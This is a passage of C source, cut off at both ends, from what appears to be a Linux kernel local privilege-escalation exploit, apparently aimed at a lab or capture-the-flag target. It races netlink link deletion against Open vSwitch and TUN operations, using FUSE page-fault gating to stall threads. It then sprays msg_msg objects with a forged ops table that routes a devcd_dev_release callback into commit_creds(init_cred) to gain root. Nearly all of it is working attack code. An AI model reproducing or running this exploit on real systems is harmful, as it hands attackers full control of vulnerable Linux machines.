f5_fuse_file = open(F5_FUSE_PATH, O_RDONLY | O_CLOEXEC);
if (f5_fuse_file < 0)
return -errno;
if (!__atomic_load_n(&f5_fuse_ready, __ATOMIC_ACQUIRE))
return -EPROTO;
(void)posix_fadvise(f5_fuse_file, 0, F5_FILE_BYTES,
POSIX_FADV_RANDOM);
for (index = 0; index < F5_GATE_COUNT; index++) {
unsigned char *mapping = mmap(NULL, 8192, PROT_NONE,
MAP_PRIVATE | MAP_ANONYMOUS,
-1, 0);
off_t offset = (off_t)index * 4096;
if (mapping == MAP_FAILED)
return -errno;
if (mmap(mapping, 4096, PROT_READ | PROT_WRITE,
MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS,
-1, 0) != mapping)
return -errno;
if (mmap(mapping + 4096, 4096, PROT_READ | PROT_WRITE,
MAP_FIXED | MAP_PRIVATE, f5_fuse_file, offset) !=
mapping + 4096)
return -errno;
if (madvise(mapping + 4096, 4096, MADV_RANDOM) < 0)
return -errno;
memset(mapping, 0, 4096);
f5_gates[index].id = index;
f5_gates[index].mapping = mapping;
f5_gates[index].fault_buffer =
mapping + 4096 - F5_GATE_PREFIX_BYTES;
f5_gates[index].file_offset = (uint64_t)offset;
}
return 0;
}
static int f5_open_tun(const char *name)
{
struct ifreq request;
int fd = open("/dev/net/tun", O_RDWR | O_CLOEXEC);
if (fd < 0)
return -errno;
memset(&request, 0, sizeof(request));
request.ifr_flags = IFF_TUN | IFF_NO_PI;
strncpy(request.ifr_name, name, IFNAMSIZ - 1);
if (ioctl(fd, TUNSETIFF, &request) < 0) {
int error = -errno;
close(fd);
return error;
}
return fd;
}
static void *f5_tun_gate_fn(void *argument)
{
struct f5_gate *gate = argument;
const char *comm = gate->id == F5_GATE1 ?
"row41-tun1" : "row41-tun2";
pin_cpu(1);
(void)prctl(PR_SET_NAME, comm, 0, 0, 0);
gate->tid = (int)syscall(SYS_gettid);
while (!stop_flag &&
!__atomic_load_n(&gate->go, __ATOMIC_ACQUIRE))
(void)futex_wait_u32(&gate->go, 0);
if (stop_flag)
return NULL;
gate->ioctl_start_ns = monotonic_ns();
__atomic_store_n(&gate->entered, 1, __ATOMIC_RELEASE);
gate->result = ioctl(gate->tun_fd, TUNGETIFF, gate->fault_buffer) < 0 ?
-errno : 0;
gate->ioctl_return_ns = monotonic_ns();
__atomic_store_n(&gate->done, 1, __ATOMIC_RELEASE);
futex_wake_all_u32(&gate->done);
fprintf(stderr,
"F5_TUN_IOCTL_RETURN gate=%d tid=%d start_ns=%llu return_ns=%llu reply_end_ns=%llu reply_to_return_ns=%lld result=%d\n",
gate->id + 1, gate->tid,
(unsigned long long)gate->ioctl_start_ns,
(unsigned long long)gate->ioctl_return_ns,
(unsigned long long)f5_reads[gate->id].reply_end_ns,
(long long)(gate->ioctl_return_ns -
f5_reads[gate->id].reply_end_ns), gate->result);
return NULL;
}
static void *f5_writer_fn(void *argument)
{
struct nl_sock route;
(void)argument;
pin_cpu(1);
(void)prctl(PR_SET_NAME, "row41-writer", 0, 0, 0);
f5_writer_tid = (int)syscall(SYS_gettid);
if (nl_open_proto(&route, NETLINK_ROUTE) < 0) {
fatal_error = 1;
stop_flag = 1;
return NULL;
}
while (!stop_flag &&
!__atomic_load_n(&f5_writer_go, __ATOMIC_ACQUIRE))
(void)futex_wait_u32(&f5_writer_go, 0);
if (!stop_flag) {
f5_writer_start_ns = monotonic_ns();
__atomic_store_n(&f5_writer_entered, 1, __ATOMIC_RELEASE);
f5_writer_result = rtnl_dellink_group(&route, F5_GROUP);
f5_writer_return_ns = monotonic_ns();
/* rtnl_dellink_group() does not return until netdev_run_todo() has
* released the target allocation. Perform the replacement from this
* exact task before a diagnostic print, futex wake, scheduler handoff,
* or nl_close() can perturb the same CPU's cache. */
if (!f5_writer_result) {
f29_refill_dispatch_ns = monotonic_ns();
f5_writer_result = f29_fill_spray_inline();
}
}
__atomic_store_n(&f5_writer_done, 1, __ATOMIC_RELEASE);
futex_wake_all_u32(&f5_writer_done);
fprintf(stderr,
"F5_WRITER_RETURN tid=%d start_ns=%llu return_ns=%llu result=%d\n",
f5_writer_tid, (unsigned long long)f5_writer_start_ns,
(unsigned long long)f5_writer_return_ns, f5_writer_result);
if (!f5_writer_result)
fprintf(stderr,
"F29_INLINE_REFILL writer_tid=%d free_request_return_ns=%llu dispatch_ns=%llu first_msgsnd_start_ns=%llu first_msgsnd_end_ns=%llu fill_done_ns=%llu allocations=%llu same_thread=1 cpu_affinity=1 wake_handoff=none first_userspace_refill_after_return=1 exact_count=1024 object_identity_oracle=none acceptance=flag_only\n",
f5_writer_tid,
(unsigned long long)f5_writer_return_ns,
(unsigned long long)f29_refill_dispatch_ns,
(unsigned long long)f29_first_msgsnd_start_ns,
(unsigned long long)f29_first_msgsnd_end_ns,
(unsigned long long)race_fill_done_ns,
__atomic_load_n(&spray_allocs, __ATOMIC_RELAXED));
nl_close(&route);
return NULL;
}
static void *f5_rtm_fn(void *argument)
{
struct f5_context *context = argument;
struct nl_sock route;
pin_cpu(0);
(void)prctl(PR_SET_NAME, "row41-rtmgate", 0, 0, 0);
f5_rtm_tid = (int)syscall(SYS_gettid);
if (nl_open_proto(&route, NETLINK_ROUTE) < 0) {
fatal_error = 1;
stop_flag = 1;
return NULL;
}
while (!stop_flag &&
!__atomic_load_n(&f5_rtm_go, __ATOMIC_ACQUIRE))
(void)futex_wait_u32(&f5_rtm_go, 0);
if (!stop_flag) {
f5_rtm_start_ns = monotonic_ns();
__atomic_store_n(&f5_rtm_entered, 1, __ATOMIC_RELEASE);
f5_rtm_result = rtnl_noop_setlink(&route,
context->canary_ifindex);
f5_rtm_return_ns = monotonic_ns();
}
__atomic_store_n(&f5_rtm_done, 1, __ATOMIC_RELEASE);
futex_wake_all_u32(&f5_rtm_done);
fprintf(stderr,
"F5_RTM_RETURN tid=%d start_ns=%llu return_ns=%llu result=%d\n",
f5_rtm_tid, (unsigned long long)f5_rtm_start_ns,
(unsigned long long)f5_rtm_return_ns, f5_rtm_result);
nl_close(&route);
return NULL;
}
static void *f5_ovs_fn(void *argument)
{
struct f5_context *context = argument;
struct nl_sock ovs;
pin_cpu(1);
(void)prctl(PR_SET_NAME, "row41-ovsgate", 0, 0, 0);
f5_ovs_tid = (int)syscall(SYS_gettid);
if (nl_open_proto(&ovs, NETLINK_GENERIC) < 0) {
fatal_error = 1;
stop_flag = 1;
return NULL;
}
while (!stop_flag &&
!__atomic_load_n(&f5_ovs_go, __ATOMIC_ACQUIRE))
(void)futex_wait_u32(&f5_ovs_go, 0);
if (!stop_flag) {
f5_ovs_start_ns = monotonic_ns();
__atomic_store_n(&f5_ovs_entered, 1, __ATOMIC_RELEASE);
f5_ovs_result = f5_vport_new_netdev(
&ovs, context->sh.fam_vport, context->sh.dp_ifindex,
F5_DUMMY_NAME);
f5_ovs_return_ns = monotonic_ns();
}
__atomic_store_n(&f5_ovs_done, 1, __ATOMIC_RELEASE);
futex_wake_all_u32(&f5_ovs_done);
fprintf(stderr,
"F5_OVS_RETURN tid=%d start_ns=%llu return_ns=%llu result=%d spray_requested=0 postfree_writer_inline_refill=1\n",
f5_ovs_tid, (unsigned long long)f5_ovs_start_ns,
(unsigned long long)f5_ovs_return_ns, f5_ovs_result);
nl_close(&ovs);
return NULL;
}
static void *f5_sprayer_fn(void *argument)
{
uint8_t *segment = f29_spray_message.data + MSG_FIRST_DATA;
uint64_t init_cred = KERNEL_BASE + kernel_slide + OFF_INIT_CRED;
uint64_t commit_creds = KERNEL_BASE + kernel_slide + OFF_COMMIT_CREDS;
uint64_t failing_dev = known_page + ANCHOR_FAILING_DEVICE;
unsigned int queues_removed = 0;
unsigned int queues_preserved = 0;
int index;
(void)argument;
pin_cpu(1);
(void)prctl(PR_SET_NAME, "row41-spray", 0, 0, 0);
memset(&f29_spray_message, 0, sizeof(f29_spray_message));
f29_spray_message.type = 1;
/* A msg_msgseg begins with its kernel-owned next pointer. User segment
* byte zero is therefore allocation/dev offset +8. All devcd offsets
* below are adjusted by exactly eight bytes. */
*(uint64_t *)(segment + 0x00) = known_page + ANCHOR_OPS;
*(uint64_t *)(segment + DEVCD_DATA - 8) = init_cred;
*(uint64_t *)(segment + DEVCD_OWNER - 8) = 0;
*(uint64_t *)(segment + DEVCD_FREE - 8) = commit_creds;
*(uint64_t *)(segment + DEVCD_FAILING_DEV - 8) = failing_dev;
for (index = 0; index < SPRAY_QUEUES; index++)
f29_spray_queues[index] = -1;
for (index = 0; index < SPRAY_QUEUES; index++) {
f29_spray_queues[index] = msgget(IPC_PRIVATE, IPC_CREAT | 0600);
if (f29_spray_queues[index] < 0) {
fatal_error = 1;
stop_flag = 1;
while (index-- > 0)
(void)msgctl(f29_spray_queues[index], IPC_RMID, NULL);
return NULL;
}
}
__atomic_store_n(&spray_phase, SPRAY_DRAINED, __ATOMIC_RELEASE);
fprintf(stderr,
"F29_SPRAY_READY ns=%llu queues=%d fake_ops=%#llx callback=devcd_dev_release data_init_cred=%#llx free_commit_creds=%#llx owner_null=1 failing_dev=%#llx direct_commit_creds_dev=forbidden fill_owner=writer_inline helper_allocates_payload=0\n",
(unsigned long long)monotonic_ns(), SPRAY_QUEUES,
(unsigned long long)(known_page + ANCHOR_OPS),
(unsigned long long)init_cred,
(unsigned long long)commit_creds,
(unsigned long long)failing_dev);
/* The helper owns queue lifetime only. Filling here would restore V21's
* unproved wake-and-schedule interval, so source-policy tests forbid it. */
while (!stop_flag)
(void)futex_wait_u32(
(volatile unsigned int *)&stop_flag, 0);
for (index = 0; index < SPRAY_QUEUES; index++) {
if (f29_spray_queues[index] < 0)
continue;
if (__atomic_load_n(&f29_preserve_spray_queues,
__ATOMIC_ACQUIRE)) {
queues_preserved++;
continue;
}
if (!msgctl(f29_spray_queues[index], IPC_RMID, NULL))
queues_removed++;
}
fprintf(stderr,
"F29_SPRAY_RELEASE queues_removed=%u queues_preserved=%u success_preserve=%u dangling_segment_cleanup=forbidden\n",
queues_removed, queues_preserved,
__atomic_load_n(&f29_preserve_spray_queues,
__ATOMIC_RELAXED));
return NULL;
}
static int f5_read_task_wait(int tid, char *state, char wchan[128],
unsigned long long *voluntary)
{
char path[96];
char line[4096];
char *right;
char comm[64];
int parsed_tid;
FILE *file;
snprintf(path, sizeof(path), "/proc/self/task/%d/stat", tid);
file = fopen(path, "r");
if (!file)
return -errno;
if (!fgets(line, sizeof(line), file)) {
fclose(file);
return -EPROTO;
}
fclose(file);
if (sscanf(line, "%d (%63[^)]) %c", &parsed_tid, comm, state) != 3 ||
parsed_tid != tid)
return -EPROTO;
snprintf(path, sizeof(path), "/proc/self/task/%d/wchan", tid);
file = fopen(path, "r");
if (!file)
return -errno;
if (fscanf(file, "%127s", wchan) != 1) {
fclose(file);
return -EPROTO;
}
fclose(file);
*voluntary = 0;
snprintf(path, sizeof(path), "/proc/self/task/%d/status", tid);
file = fopen(path, "r");
if (!file)
return -errno;
while (fgets(line, sizeof(line), file)) {
right = strchr(line, ':');
if (right && !strncmp(line, "voluntary_ctxt_switches:", 24)) {
*voluntary = strtoull(right + 1, NULL, 10);
break;
}
}
fclose(file);
return 0;
}
static int f5_wait_mutex_sleep(const char *label, int tid,
uint64_t *observed_ns,
const char *exact_wchan)
{
uint64_t deadline = monotonic_ns() + F5_DEADLINE_NS;
char state = '?';
char wchan[128] = "";
unsigned long long voluntary = 0;
int result = -ETIMEDOUT;
while (!stop_flag && monotonic_ns() < deadline) {
result = f5_read_task_wait(tid, &state, wchan, &voluntary);
int exact_operation_wchan = exact_wchan &&
!strcmp(wchan, exact_wchan);
if (!result && state == 'D' &&
(strstr(wchan, "mutex") || strstr(wchan, "rtnl") ||
exact_operation_wchan)) {
*observed_ns = monotonic_ns();
fprintf(stderr,
"F5_QUEUE_OBSERVED label=%s tid=%d ns=%llu state=%c wchan=%s voluntary=%llu exact_operation_exception=%d expected_wchan=%s claim=observed_not_absolute_fifo posthoc_fuse_and_kprobe_required=1\n",
label, tid, (unsigned long long)*observed_ns,
state, wchan, voluntary, exact_operation_wchan,
exact_wchan ? exact_wchan : "none");
return 0;
}
sched_yield();
}
fprintf(stderr,
"F5_QUEUE_REJECT label=%s tid=%d result=%d state=%c wchan=%s voluntary=%llu expected_wchan=%s\n",
label, tid, result, state, wchan, voluntary,
exact_wchan ? exact_wchan : "none");
return result ? result : -ETIMEDOUT;
}
static int f10_exact_backoff_wchan(const char *wchan)
{
return !strcmp(wchan, "msleep") ||
!strcmp(wchan, "schedule_timeout") ||
!strcmp(wchan, "schedule_timeout_uninterruptible");
}
/* netdev_wait_allrefs_any() runs rcu_barrier() before each reference check,
* then backs off through msleep(1, 2, 4, ... 250). V9 armed its hardirq in
* rcu_barrier(), preventing CPU-0 RCU progress and postponing free_netdev()
* until after the interrupted consumer returned. Require one unchanged
* voluntary-switch generation to remain in the exact uninterruptible msleep
* stack for 20.5 ms. Fedora's audited CONFIG_HZ_1000 means the documented
* timer-wheel slack keeps msleep(16) below 20 ms, so this can only be a
* >=32 ms backoff on this target. It proves that the preceding barrier has
* completed before arming the timer. */
static int f10_wait_writer_postbarrier_sleep(
uint64_t *first_ns, uint64_t *observed_ns,
unsigned long long *voluntary_out, char observed_wchan[128])
{
uint64_t deadline = monotonic_ns() + F5_DEADLINE_NS;
uint64_t stable_start = 0;
char state = '?';
char wchan[128] = "";
char stable_wchan[128] = "";
unsigned long long voluntary = 0;
unsigned long long stable_voluntary = 0;
unsigned long samples = 0;
int result = -ETIMEDOUT;
while (!stop_flag && monotonic_ns() < deadline) {
uint64_t now;
result = f5_read_task_wait(f5_writer_tid, &state, wchan,
&voluntary);
now = monotonic_ns();
if (!result && state == 'D' && f10_exact_backoff_wchan(wchan)) {
if (!stable_start || voluntary != stable_voluntary ||
strcmp(wchan, stable_wchan)) {
stable_start = now;
stable_voluntary = voluntary;
strncpy(stable_wchan, wchan, sizeof(stable_wchan) - 1);
stable_wchan[sizeof(stable_wchan) - 1] = '\0';
samples = 1;
} else {
samples++;
}
if (now - stable_start < F10_BACKOFF_STABLE_NS)
continue;
*first_ns = stable_start;
*observed_ns = now;
*voluntary_out = voluntary;
strncpy(observed_wchan, wchan, 127);
observed_wchan[127] = '\0';
/* Success evidence is emitted only after packet_send_internal()
* returns. Direct serial output here delayed V19's timer target
* by 6.4--6.7 ms after observed_ns. */
return 0;
} else {
stable_start = 0;
stable_wchan[0] = '\0';
samples = 0;
}
if (__atomic_load_n(&f5_writer_done, __ATOMIC_ACQUIRE))
break;
sched_yield();
}
fprintf(stderr,
"F10_POSTBARRIER_REJECT writer_tid=%d result=%d state=%c wchan=%s voluntary=%llu stable_ns=%llu samples=%lu writer_done=%u forbidden_barrier_candidate=1\n",
f5_writer_tid, result, state, wchan, voluntary,
(unsigned long long)(stable_start ?
monotonic_ns() - stable_start : 0), samples,
__atomic_load_n(&f5_writer_done, __ATOMIC_RELAXED));
return result ? result : -ETIMEDOUT;
}
static int f5_wait_flag(volatile unsigned int *flag)
{
uint64_t deadline = monotonic_ns() + F5_DEADLINE_NS;
while (!stop_flag && !__atomic_load_n(flag, __ATOMIC_ACQUIRE)) {
if (monotonic_ns() >= deadline)
return -ETIMEDOUT;
sched_yield();
}
return stop_flag ? -ECANCELED : 0;
}
static int f5_wait_nonzero(volatile int *value)
{
uint64_t deadline = monotonic_ns() + F5_DEADLINE_NS;
while (!stop_flag && !__atomic_load_n(value, __ATOMIC_ACQUIRE)) {
if (monotonic_ns() >= deadline)
return -ETIMEDOUT;
sched_yield();
}
return stop_flag ? -ECANCELED : 0;
}
/* Gate replies retain their bounded wait. If an ioctl cannot reach or leave
* its FUSE fault within that window, the later V29 server-stop plus last
* /dev/fuse close aborts the connection before every started worker is
* joined. Thus an error no longer delegates live-thread cleanup to
* exit_group. */
static int f5_cleanup_gate(enum f5_gate_id gate)
{
struct f5_gate *ioctl_gate = &f5_gates[gate];
struct f5_fuse_read *read = &f5_reads[gate];
uint64_t start_ns = monotonic_ns();
uint64_t deadline = start_ns + F5_CLEANUP_GATE_NS;
int reply_result = 0;
int result = 0;
if (!__atomic_load_n(&ioctl_gate->entered, __ATOMIC_ACQUIRE)) {
fprintf(stderr,
"F5_CLEANUP_GATE gate=%d entered=0 pending=0 replied=0 done=%u result=0 bounded_process_exit=0\n",
gate + 1,
__atomic_load_n(&ioctl_gate->done, __ATOMIC_RELAXED));
return 0;
}
while (!__atomic_load_n(&read->pending, __ATOMIC_ACQUIRE) &&
!__atomic_load_n(&ioctl_gate->done, __ATOMIC_ACQUIRE) &&
monotonic_ns() < deadline)
sched_yield();
if (__atomic_load_n(&read->pending, __ATOMIC_ACQUIRE) &&
!__atomic_load_n(&read->replied, __ATOMIC_ACQUIRE))
reply_result = f5_reply_gate(gate);
while (!__atomic_load_n(&ioctl_gate->done, __ATOMIC_ACQUIRE) &&
monotonic_ns() < deadline)
sched_yield();
if (reply_result)
result = reply_result;
else if (!__atomic_load_n(&ioctl_gate->done, __ATOMIC_ACQUIRE))
result = -ETIMEDOUT;
fprintf(stderr,
"F5_CLEANUP_GATE gate=%d entered=1 pending=%u replied=%u done=%u unique=%llu offset=%llu pid=%u ioctl_tid=%d start_ns=%llu end_ns=%llu result=%d bounded_process_exit=%d\n",
gate + 1,
__atomic_load_n(&read->pending, __ATOMIC_RELAXED),
__atomic_load_n(&read->replied, __ATOMIC_RELAXED),
__atomic_load_n(&ioctl_gate->done, __ATOMIC_RELAXED),
(unsigned long long)read->unique,
(unsigned long long)read->offset, read->pid,
ioctl_gate->tid, (unsigned long long)start_ns,
(unsigned long long)monotonic_ns(), result,
result == -ETIMEDOUT);
return result;
}
static int f5_cleanup_fuse_gates(void)
{
int gate1_result = f5_cleanup_gate(F5_GATE1);
int gate2_result = f5_cleanup_gate(F5_GATE2);
int result = gate1_result ? gate1_result : gate2_result;
fprintf(stderr,
"F5_CLEANUP_COMPLETE gate1_result=%d gate2_result=%d result=%d max_wait_per_gate_ns=%llu unbounded_join=0\n",
gate1_result, gate2_result, result,
(unsigned long long)F5_CLEANUP_GATE_NS);
return result;
}
/* A close from another pthread is not a wakeup primitive for a blocking
* read: the syscall holds its own struct file reference until it returns.
* V29 instead makes the daemon wait in poll() on both /dev/fuse and a private
* pipe. The pipe is the explicit stop resource; only after the daemon has
* observed it and been joined do we close the last FUSE device descriptor.
* That close aborts the connection and releases any late fault waiter. */
static int f5_stop_fuse_server(void)
{
unsigned char stop = 1;
ssize_t written;
int join_result;
if (!__atomic_load_n(&f5_fuse_thread_started, __ATOMIC_ACQUIRE)) {
fprintf(stderr,
"F29_FUSE_SERVER_STOP started=0 trigger=none stopped=0 joined=0 result=0\n");
return 0;
}
do {
written = write(f5_fuse_stop_pipe[1], &stop, sizeof(stop));
} while (written < 0 && errno == EINTR);
if (written < 0 && errno != EAGAIN) {
int error = -errno;
fprintf(stderr,
"F29_FUSE_SERVER_STOP started=1 trigger=pipe_poll stopped=%u joined=0 result=%d\n",
__atomic_load_n(&f5_fuse_thread_stopped,
__ATOMIC_RELAXED), error);
return error;
}
join_result = pthread_join(f5_fuse_thread, NULL);
if (!join_result)
__atomic_store_n(&f5_fuse_thread_joined, 1, __ATOMIC_RELEASE);
fprintf(stderr,
"F29_FUSE_SERVER_STOP started=1 trigger=pipe_poll stopped=%u joined=%u result=%d\n",
__atomic_load_n(&f5_fuse_thread_stopped, __ATOMIC_RELAXED),
__atomic_load_n(&f5_fuse_thread_joined, __ATOMIC_RELAXED),
join_result ? -join_result : 0);
return join_result ? -join_result : 0;
}
static int f5_close_fuse_connection(void)
{
int result = 0;
if (f5_fuse_dev >= 0) {
if (close(f5_fuse_dev) < 0)
result = -errno;
else
__atomic_store_n(&f5_fuse_connection_closed, 1,
__ATOMIC_RELEASE);
f5_fuse_dev = -1;
}
fprintf(stderr,
"F29_FUSE_CONNECTION_CLOSE server_joined=%u dev_closed=%u aborts_waiters=1 result=%d\n",
__atomic_load_n(&f5_fuse_thread_joined, __ATOMIC_RELAXED),
__atomic_load_n(&f5_fuse_connection_closed,
__ATOMIC_RELAXED), result);
return result;
}
static int f29_fuse_file_close_accepted(int close_result, int close_error,
unsigned int server_joined,
unsigned int connection_closed)
{
if (!close_result)
return 1;
return close_result < 0 && close_error == ENOTCONN && server_joined &&
connection_closed;
}
static int f29_fuse_mount_release_accepted(
int umount_result, int umount_error,
unsigned int private_mount_namespace, unsigned int server_joined,
unsigned int connection_closed, unsigned int mappings_unmapped,
unsigned int file_release_accepted, unsigned int flag_captured)
{
if (!umount_result)
return 1;
return umount_result < 0 && umount_error > 0 &&
private_mount_namespace && server_joined && connection_closed &&
mappings_unmapped == F5_GATE_COUNT && file_release_accepted &&
flag_captured;
}
static int f5_release_fuse_resources(void)
{
int result = 0;
unsigned int unmapped = 0;
unsigned int file_close_called = 0;
unsigned int file_release_accepted = 0;
unsigned int mount_detached = 0;
unsigned int mount_release_accepted = 0;
int file_close_errno = 0;
int mount_detach_errno = 0;
const char *file_release = "not_open";
const char *mount_release = "not_mounted";
int index;
for (index = 0; index < F5_GATE_COUNT; index++) {
if (!f5_gates[index].mapping)
continue;
if (munmap(f5_gates[index].mapping, 8192) < 0) {
if (!result)
result = -errno;
} else {
unmapped++;
}
f5_gates[index].mapping = NULL;
f5_gates[index].fault_buffer = NULL;
}
if (f5_fuse_file >= 0) {
int close_result;
file_close_called = 1;
close_result = close(f5_fuse_file);
if (close_result < 0)
file_close_errno = errno;
f5_fuse_file = -1;
file_release_accepted = f29_fuse_file_close_accepted(
close_result, file_close_errno,
__atomic_load_n(&f5_fuse_thread_joined, __ATOMIC_RELAXED),
__atomic_load_n(&f5_fuse_connection_closed,
__ATOMIC_RELAXED));
if (!close_result)
file_release = "clean";
else if (file_release_accepted)
file_release = "disconnected_enotconn";
else {
file_release = "rejected_error";
if (!result)
result = -file_close_errno;
}
}
if (__atomic_load_n(&f5_fuse_mounted, __ATOMIC_ACQUIRE)) {
int umount_result = umount2(F5_FUSE_DIR, MNT_DETACH);
if (umount_result < 0) {
mount_detach_errno = errno;
} else {
mount_detached = 1;
__atomic_store_n(&f5_fuse_mounted, 0, __ATOMIC_RELEASE);
}
mount_release_accepted = f29_fuse_mount_release_accepted(
umount_result, mount_detach_errno,
__atomic_load_n(&f5_fuse_private_mount_namespace,
__ATOMIC_RELAXED),
__atomic_load_n(&f5_fuse_thread_joined, __ATOMIC_RELAXED),
__atomic_load_n(&f5_fuse_connection_closed,
__ATOMIC_RELAXED),
unmapped, file_release_accepted,
__atomic_load_n(&f29_flag_captured, __ATOMIC_RELAXED));
if (mount_detached)
mount_release = "detached";
else if (mount_release_accepted)
mount_release = "private_namespace_exit";
else {
mount_release = "rejected_error";
if (!result)
result = -mount_detach_errno;
}
}
if (f5_fuse_stop_pipe[0] >= 0) {
close(f5_fuse_stop_pipe[0]);
f5_fuse_stop_pipe[0] = -1;
}
if (f5_fuse_stop_pipe[1] >= 0) {
close(f5_fuse_stop_pipe[1]);
f5_fuse_stop_pipe[1] = -1;
}
(void)rmdir(F5_FUSE_DIR);
fprintf(stderr,
"F29_FUSE_RESOURCE_RELEASE server_joined=%u dev_closed=%u mappings_unmapped=%u file_close_called=%u file_close_errno=%d file_release=%s file_release_accepted=%u private_mount_namespace=%u mount_detached=%u mount_detach_errno=%d mount_release=%s mount_release_accepted=%u namespace_exit_waited_by_parent=1 result=%d\n",
__atomic_load_n(&f5_fuse_thread_joined, __ATOMIC_RELAXED),
__atomic_load_n(&f5_fuse_connection_closed,
__ATOMIC_RELAXED),
unmapped, file_close_called, file_close_errno, file_release,
file_release_accepted,
__atomic_load_n(&f5_fuse_private_mount_namespace,
__ATOMIC_RELAXED),
mount_detached, mount_detach_errno, mount_release,
mount_release_accepted, result);
return result;
}
static uint64_t f5_calibrate_send(int fd,
const uint8_t frame[TEST_FRAME_LEN])
{
uint64_t samples[21];
unsigned int index;
(void)prctl(PR_SET_NAME, "row41-cal", 0, 0, 0);
for (index = 0; index < 21; index++) {
uint64_t duration = 0;
int result = packet_send_internal(fd, frame, &duration);
if (result)
return 0;
samples[index] = duration;
}
qsort(samples, 21, sizeof(samples[0]), compare_u64);
fprintf(stderr,
"F5_CALIBRATION median_ns=%llu min_ns=%llu max_ns=%llu samples=21\n",
(unsigned long long)samples[10],
(unsigned long long)samples[0],
(unsigned long long)samples[20]);
return samples[10];
}
static void *f5_release_fn(void *argument)
{
uint64_t target;
(void)argument;
pin_cpu(1);
(void)prctl(PR_SET_NAME, "row41-release", 0, 0, 0);
while (!stop_flag &&
!__atomic_load_n(&f5_release_go, __ATOMIC_ACQUIRE))
(void)futex_wait_u32(&f5_release_go, 0);
target = __atomic_load_n(&f5_release_target_ns, __ATOMIC_ACQUIRE);
while (!stop_flag && monotonic_ns() < target)
__asm__ volatile("pause");
if (!stop_flag)
f5_release_result = f5_reply_gate(F5_GATE2);
else
f5_release_result = -ECANCELED;
__atomic_store_n(&f5_release_done, 1, __ATOMIC_RELEASE);
futex_wake_all_u32(&f5_release_done);
return NULL;
}
static int f5_setup_network(struct f5_context *context,
struct nl_sock *control,
struct nl_sock *route,
uint32_t *target_port)
{
int target_ifindex;
int result;
if ((result = nl_open_proto(control, NETLINK_GENERIC)) < 0)
return result;
if ((result = nl_open_proto(route, NETLINK_ROUTE)) < 0)
return result;
context->sh.fam_dp = resolve_family(control, OVS_DATAPATH_FAMILY);
context->sh.fam_vport = resolve_family(control, OVS_VPORT_FAMILY);
context->sh.fam_flow = resolve_family(control, OVS_FLOW_FAMILY);
context->sh.fam_packet = resolve_family(control, OVS_PACKET_FAMILY);
if (context->sh.fam_dp < 0 || context->sh.fam_vport < 0 ||
context->sh.fam_flow < 0 || context->sh.fam_packet < 0)
return -ENOENT;
(void)dp_del(control, context->sh.fam_dp);
result = dp_new_named(control, context->sh.fam_dp, DP_NAME);
if (result && result != -EEXIST)
return result;
context->sh.dp_ifindex = dp_get_ifindex_named(
control, context->sh.fam_dp, DP_NAME);
if (context->sh.dp_ifindex < 0)
return context->sh.dp_ifindex;
context->canary_ifindex = (int)if_nametoindex("lo");
if (!context->canary_ifindex)
return -ENODEV;
if ((result = rtnl_set_up(route, context->canary_ifindex)) != 0 ||
(result = rtnl_set_up(route, context->sh.dp_ifindex)) != 0)
return result;
result = f5_rtnl_new_dummy(route, F5_DUMMY_NAME);
if (result && result != -EEXIST)
return result;
result = f5_vport_new_gre(control, context->sh.fam_vport,
context->sh.dp_ifindex, F5_TARGET_NAME);
if (result && result != -EEXIST)
return result;
target_ifindex = (int)if_nametoindex(F5_TARGET_NAME);
if (!target_ifindex)
return -ENODEV;
if ((result = vport_get_port_no(control, context->sh.fam_vport,
context->sh.dp_ifindex,
F5_TARGET_NAME, target_port)) != 0 ||
(result = rtnl_set_group(route, target_ifindex, F5_GROUP)) != 0 ||
(result = rtnl_set_up(route, target_ifindex)) != 0 ||
(result = f5_flow_program(control, context->sh.fam_flow,
context->sh.dp_ifindex,
*target_port)) != 0)
return result;
return 0;
}
static int f29_attempt(int success_fd)
{
struct f5_context context;
struct nl_sock control;
struct nl_sock route;
pthread_t tun_threads[F5_GATE_COUNT];
pthread_t writer_thread;
pthread_t rtm_thread;
pthread_t ovs_thread;
pthread_t spray_thread;
pthread_t timer_thread;
pthread_t release_thread;
uint8_t frame[TEST_FRAME_LEN];
uint8_t captured_flag[F29_FLAG_MAX];
uint32_t captured_flag_length = 0;
uint32_t target_port = 0;
uint64_t queue_ns[4] = {0};
uint64_t backoff_first_ns = 0;
uint64_t backoff_observed_ns = 0;
unsigned long long backoff_voluntary = 0;
char backoff_wchan[128] = "";
uint64_t irq_target = 0;
uint64_t arming_ns = 0;
uint64_t duration = 0;
uint64_t deadline;
int bypass = 0;
int result = 0;
int cleanup_result = 0;
int step_result = 0;
unsigned int workers_started = 0;
unsigned int workers_joined = 0;
int index;
int tun1_started = 0;
int writer_started = 0;
int rtm_started = 0;
int tun2_started = 0;
int ovs_started = 0;
int spray_started = 0;
int timer_started = 0;
int release_started = 0;
int late_send_retry = 0;
int setup_cpu_before = -1;
int setup_cpu_after = -1;
int consumer_cpu_after = -1;
int success_captured = 0;
int handoff_result = 0;
signal(SIGINT, on_sig);
signal(SIGTERM, on_sig);
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
memset(&context, 0, sizeof(context));
memset(&control, 0, sizeof(control));
memset(&route, 0, sizeof(route));
control.fd = -1;
route.fd = -1;
if (success_fd != F29_SUCCESS_FD || fcntl(success_fd, F_GETFD) < 0)
return 1;
fprintf(stderr,
"F5_BUILD revision=29 mode=privilege-candidate-offline primitive=6931d21f attempts=%d scheduler_policy=ordinary fuse_tun_gate=1 fuse_stop=pipe_poll_join_close target_state=carrier_independent postfree_refill=allocation_free_refill_cpu1 timer_poll_waiters=%d timer_epoll_duplicates=%d timer_arm_ns=%llu prefix_actions=%u metadata_actions=%u consumer=egress_tunnel_metadata callback=devcd_dev_release wrapper_call=commit_creds_init_cred direct_commit_creds_dev=forbidden second_nday=none send_mode=bounded_lead_allocation_cpu_closure backoff_stable_ns=%llu phase_shift_from_v26_ns=500000 barrier_candidate_forbidden=1 send_lead_ns=%llu observed_lead_min_ns=%llu observed_lead_max_ns=%llu target_phase=postsend_evidence_arm500us target_after_observed_min_ns=%llu target_after_observed_max_ns=%llu target_after_first_min_ns=%llu target_after_first_max_ns=%llu prearm_success_output=0 late_send_retry_max_ns=%llu refill_count=1024 allocation_cpu=1 writer_cpu=1 refill_cpu=1 consumer_cpu=0 wake_handoff=none success_transport=framed_pipe_after_join success_queue_policy=preserve_all object_identity_oracle=none acceptance=flag_only failure_classification=fail_closed fuse_file_close=enotconn_after_disconnect_ok 